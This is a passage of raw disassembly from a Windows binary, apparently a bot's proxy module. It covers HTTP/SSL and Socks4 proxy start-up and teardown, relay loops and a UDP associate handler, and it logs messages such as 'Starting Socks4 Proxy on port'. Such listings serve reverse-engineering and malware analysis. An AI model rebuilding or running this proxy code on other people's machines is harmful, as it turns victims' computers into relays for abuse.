0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 7168B15Ah dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 69036FE8h, 333D9071h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 0FC8C3D8Bh, 6A0050h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 69031BE8h, 333D9071h dd 75000027h, 90016A0Dh, 3E8B3AE8h, 0FE43E902h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4291EF: ; CODE XREF: sub_4282C0+CA6j or esi, 0FFFFFFFFh loc_4291F2: ; CODE XREF: sub_4282C0+CC7j mov al, [esp+0B8h+var_A7] test al, al jnz short loc_429212 mov edx, [ebp+0BFh] push edx call near ptr 71AB9639h nop mov [ebp+0BFh], esi mov [esp+0BCh+var_AA], 1 loc_429212: ; CODE XREF: sub_4282C0+F38j lea ecx, [esp+0BCh+var_34] mov byte ptr [esp+0BCh+arg_53E0], 0Dh call sub_401226 lea ecx, [esp+0BCh+var_5C] mov byte ptr [esp+0BCh+arg_53E0], 0Ch call sub_401226 lea ecx, [esp+0BCh+var_74] mov byte ptr [esp+0BCh+arg_53E0], 2 call sub_401226 lea ecx, [esp+0BCh+var_8C] mov byte ptr [esp+0BCh+arg_53E0], 1 call sub_401226 lea ecx, [esp+0BCh+var_A8] mov byte ptr [esp+0BCh+arg_53E0], 0 call sub_401226 lea ecx, [esp+0BCh+var_4] mov [esp+0BCh+arg_53E0], esi call sub_4014B0 or esi, 0FFFFFFFFh loc_429280: ; CODE XREF: sub_4282C0+EBj mov al, [esp+0BCh+var_AA] test al, al jz loc_4282F8 loc_42928C: ; CODE XREF: sub_4282C0+1074j ; sub_4282C0+11CDj mov al, [ebp+0BAh] test al, al jz short loc_4292A9 mov eax, [ebp+0BBh] push eax call near ptr 71AB9639h nop mov [ebp+0BBh], esi loc_4292A9: ; CODE XREF: sub_4282C0+FD4j mov al, [esp+11h] test al, al jz short loc_4292C4 mov ecx, [ebp+0BFh] push ecx nop call near ptr 71AB9639h mov [ebp+0BFh], esi loc_4292C4: ; CODE XREF: sub_4282C0+FEFj ; sub_4282C0+1255j mov ecx, [esp+0C4h+arg_53D0] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_4292DD: ; CODE XREF: sub_4282C0+40Aj lea ecx, [esp+1Ch+arg_40] mov byte ptr [esp+1Ch+arg_5480], 0Ch call sub_401226 loc_4292EE: ; CODE XREF: sub_4282C0+3D7j lea ecx, [esp+1Ch+arg_28] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 loc_4292FF: ; CODE XREF: sub_4282C0+191j ; sub_4282C0+1AAj ... lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 loc_429310: ; CODE XREF: sub_4282C0+85j lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_42928C ; --------------------------------------------------------------------------- loc_429339: ; CODE XREF: sub_4282C0+503j mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42934B: ; CODE XREF: sub_4282C0+644j lea ecx, [esp+2Ch+arg_9D] call sub_4017E4 push eax lea ecx, [esp+30h+var_18] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+2Ch+var_18] push 0 call sub_4013D9 push eax lea ecx, [esp+34h+var_18] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop mov eax, [ebp+0BBh] mov esi, dword_50FC88 push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_4293A8: ; CODE XREF: sub_4282C0+660j mov edx, [esp+38h+arg_D0] lea ecx, [esp+38h+arg_91] push edx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_4293F2: ; CODE XREF: sub_4282C0+711j ; sub_4282C0+719j mov edx, [ebp+0BBh] mov esi, dword_50FC88 push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_42940D: ; CODE XREF: sub_4282C0+5EEj mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42941F: ; CODE XREF: sub_4282C0+73Fj lea ecx, [esp+48h+arg_3C] mov byte ptr [esp+48h+arg_5454], 0Dh call sub_401226 lea ecx, [esp+48h+arg_14] mov byte ptr [esp+48h+arg_5454], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+48h+arg_5454], 2 call sub_401226 lea ecx, [esp+48h+var_18] mov byte ptr [esp+48h+arg_5454], 1 call sub_401226 lea ecx, [esp+48h+var_34] mov byte ptr [esp+48h+arg_5454], 0 call sub_401226 lea ecx, [esp+48h+arg_6C] mov [esp+48h+arg_5454], ebx call sub_4014B0 or esi, 0FFFFFFFFh jmp loc_42928C ; --------------------------------------------------------------------------- loc_429492: ; CODE XREF: sub_4282C0+D45j ; sub_4282C0+D4Dj mov ecx, [ebp+0BBh] mov esi, dword_50FC88 push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_4294A8: ; CODE XREF: sub_4282C0+10E3j ; sub_4282C0+1148j call esi ; closesocket loc_4294AA: ; CODE XREF: sub_4282C0+1086j ; sub_4282C0+115Aj lea ecx, [esp+50h+arg_34] mov byte ptr [esp+50h+arg_544C], 0Dh call sub_401226 lea ecx, [esp+50h+arg_C] mov byte ptr [esp+50h+arg_544C], 0Ch call sub_401226 lea ecx, [esp+50h+var_8] mov byte ptr [esp+50h+arg_544C], 2 call sub_401226 lea ecx, [esp+50h+var_20] mov byte ptr [esp+50h+arg_544C], 1 call sub_401226 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+arg_544C], 0 call sub_401226 lea ecx, [esp+50h+arg_64] mov [esp+50h+arg_544C], ebx call sub_4014B0 jmp loc_4292C4 sub_4282C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4299C0 proc near ; CODE XREF: sub_4018DEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4299C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E15C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4299C0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429A30: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402108 test byte ptr [esp+8], 1 jz short loc_429A48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429A48: ; CODE XREF: ___:00429A3Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429A60 proc near ; CODE XREF: sub_402108j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43E15C cmp eax, 0FFFFFFFFh jz short loc_429A7B push eax nop call near ptr 71AB9639h loc_429A7B: ; CODE XREF: sub_429A60+12j mov ecx, esi call sub_40179E pop esi retn sub_429A60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429AA0 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_429AC3: ; CODE XREF: sub_429AA0+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_429AEA mov ecx, [edi+3Bh] push ecx call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_429AC3 loc_429AEA: ; CODE XREF: sub_429AA0+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_429BBC push ebp push esi loc_429B00: ; CODE XREF: sub_429AA0+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_429B9B test ebp, ebp jz short loc_429B9B push 0C3h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_429B46 mov ecx, eax call sub_401884 mov esi, eax jmp short loc_429B48 ; --------------------------------------------------------------------------- loc_429B46: ; CODE XREF: sub_429AA0+99j xor esi, esi loc_429B48: ; CODE XREF: sub_429AA0+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FBE mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013D4 jmp short loc_429BA6 ; --------------------------------------------------------------------------- loc_429B9B: ; CODE XREF: sub_429AA0+74j ; sub_429AA0+7Cj push 0FAh nop call near ptr 2811D0Bh loc_429BA6: ; CODE XREF: sub_429AA0+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_429B00 pop esi pop ebp loc_429BBC: ; CODE XREF: sub_429AA0+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_429BCE push edi call near ptr 71AB9639h nop loc_429BCE: ; CODE XREF: sub_429AA0+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_429AA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429C30 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_429C58 call sub_4017E4 push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_429C63 ; --------------------------------------------------------------------------- loc_429C58: ; CODE XREF: sub_429C30+19j call sub_4017E4 push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_429C63: ; CODE XREF: sub_429C30+26j mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017E4 push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch pop edi pop esi pop ebx retn sub_429C30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429D00 proc near ; CODE XREF: sub_40211Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429D00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E16C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429D00 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429D70: ; CODE XREF: ___:00401870j ; ___:loc_401B04j push esi mov esi, ecx call sub_401F87 test byte ptr [esp+8], 1 jz short loc_429D88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429D88: ; CODE XREF: ___:00429D7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429DA0 proc near ; CODE XREF: sub_401F87j jmp sub_40179E sub_429DA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429DC0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_50FC90 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E01 mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E01: ; CODE XREF: sub_429DC0+27j cmp [esp+830h+var_81D], 4 jnz loc_429FEC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E3E mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E3E: ; CODE XREF: sub_429DC0+64j cmp [esp+830h+var_807], 1 jnz loc_429FEC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx call near ptr 71AB3B91h nop mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_429ED9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov eax, [ebp+0A1h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429ED9: ; CODE XREF: sub_429DC0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx call near ptr 71AB428Ah nop mov ecx, [ebp+0A1h] mov esi, dword_50FC50 lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_429F36: ; CODE XREF: sub_429DC0+1AFj ; sub_429DC0+1FEj ... mov edi, dword_50FC90 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_429FDA jge short loc_429F71 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_429F71 push 0Ah call near ptr 2811D0Bh nop jmp short loc_429F36 ; --------------------------------------------------------------------------- loc_429F71: ; CODE XREF: sub_429DC0+198j ; sub_429DC0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_429FDA jge short loc_429FC3 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_429FC3 push 0Ah nop call near ptr 2811D0Bh jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FC3: ; CODE XREF: sub_429DC0+1E7j ; sub_429DC0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx nop call near ptr 71AB428Ah jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FDA: ; CODE XREF: sub_429DC0+192j ; sub_429DC0+1E5j mov eax, [ebp+0A1h] mov esi, dword_50FC88 push eax call esi ; closesocket push ebx call esi ; closesocket loc_429FEC: ; CODE XREF: sub_429DC0+46j ; sub_429DC0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_429DC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A090 proc near ; CODE XREF: sub_40216Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42A090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E17C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42A090 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A100 proc near ; CODE XREF: ___:00401032j sub_4017A8j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C3A test [esp+4+arg_0], 1 jz short loc_42A118 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42A118: ; CODE XREF: sub_42A100+Dj mov eax, esi pop esi retn 4 sub_42A100 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42A130 proc near ; CODE XREF: sub_401C3Aj jmp sub_40179E sub_42A130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A150 proc near ; CODE XREF: sub_40188Ej var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42A150 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017E4 push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42A359 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax nop call near ptr 71AB2B66h mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42A226 mov ecx, [esi+9Dh] push ecx nop call near ptr 71AB9639h pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42A226: ; CODE XREF: sub_42A150+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42A310 loc_42A23C: ; CODE XREF: sub_42A150+1BAj mov eax, [esi+9Dh] push 0Ah push eax call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jnz short loc_42A260 push 0FAh nop call near ptr 2811D0Bh jmp loc_42A2FC ; --------------------------------------------------------------------------- loc_42A260: ; CODE XREF: sub_42A150+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42A310 xor edi, edi cmp ebp, edi jz loc_42A310 push 0A5h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42A2AE mov ecx, eax call sub_40211C mov edi, eax loc_42A2AE: ; CODE XREF: sub_42A150+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FBE mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42A2FC: ; CODE XREF: sub_42A150+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42A23C loc_42A310: ; CODE XREF: sub_42A150+E6j ; sub_42A150+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42A324 push eax call near ptr 71AB9639h nop loc_42A324: ; CODE XREF: sub_42A150+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017E4 push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch loc_42A359: ; CODE XREF: sub_42A150+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42A150 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A400 proc near ; CODE XREF: sub_40174Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42A421 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42A421: ; CODE XREF: sub_42A400+Dj xor al, al retn 8 sub_42A400 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A440 proc near ; CODE XREF: sub_4020C2j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42A461: ; CODE XREF: sub_42A440+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A47A: ; CODE XREF: sub_42A440+45j cmp [ecx], ebx jz short loc_42A487 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A47A loc_42A487: ; CODE XREF: sub_42A440+3Cj cmp eax, 1 jnz short loc_42A498 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42A498: ; CODE XREF: sub_42A440+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 nop call near ptr 71AB2DC0h test eax, eax jbe short loc_42A523 cmp eax, 0FFFFFFFFh jz short loc_42A523 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42A4CC mov eax, ebp mov ebp, ebx jmp short loc_42A4CE ; --------------------------------------------------------------------------- loc_42A4CC: ; CODE XREF: sub_42A440+84j mov eax, ebx loc_42A4CE: ; CODE XREF: sub_42A440+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax nop call near ptr 71AB615Ah mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42A572 test edi, edi jz short loc_42A572 jbe short loc_42A51C loc_42A4FB: ; CODE XREF: sub_42A440+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42A572 add esi, eax cmp esi, edi jb short loc_42A4FB loc_42A51C: ; CODE XREF: sub_42A440+B9j mov ebp, [esp+51Ch+arg_0] loc_42A523: ; CODE XREF: sub_42A440+70j ; sub_42A440+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A535: ; CODE XREF: sub_42A440+100j cmp [ecx], ebx jz short loc_42A542 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A535 loc_42A542: ; CODE XREF: sub_42A440+F7j cmp eax, 1 jnz short loc_42A554 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42A554: ; CODE XREF: sub_42A440+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 nop call near ptr 71AB2DC0h test eax, eax jle loc_42A461 loc_42A572: ; CODE XREF: sub_42A440+B3j ; sub_42A440+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42A440 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A5F0 proc near ; CODE XREF: sub_401C1Cj var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42A68F dec eax jz short loc_42A63A dec eax jnz loc_42A782 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A63A: ; CODE XREF: sub_42A5F0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_40174E test al, al jz loc_42A782 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42A6AB ; --------------------------------------------------------------------------- loc_42A68F: ; CODE XREF: sub_42A5F0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42A6AB: ; CODE XREF: sub_42A5F0+9Dj mov ebx, dword_50FC30 push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_42A782 cmp eax, 0FFFFFFFFh jnz loc_42A782 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_50FC5C push edx push esi push edi call ebp ; sendto mov ebx, [esp+52Ch+arg_0] push 10h push ebx push edi call near ptr 71AB3E00h nop test eax, eax jnz short loc_42A782 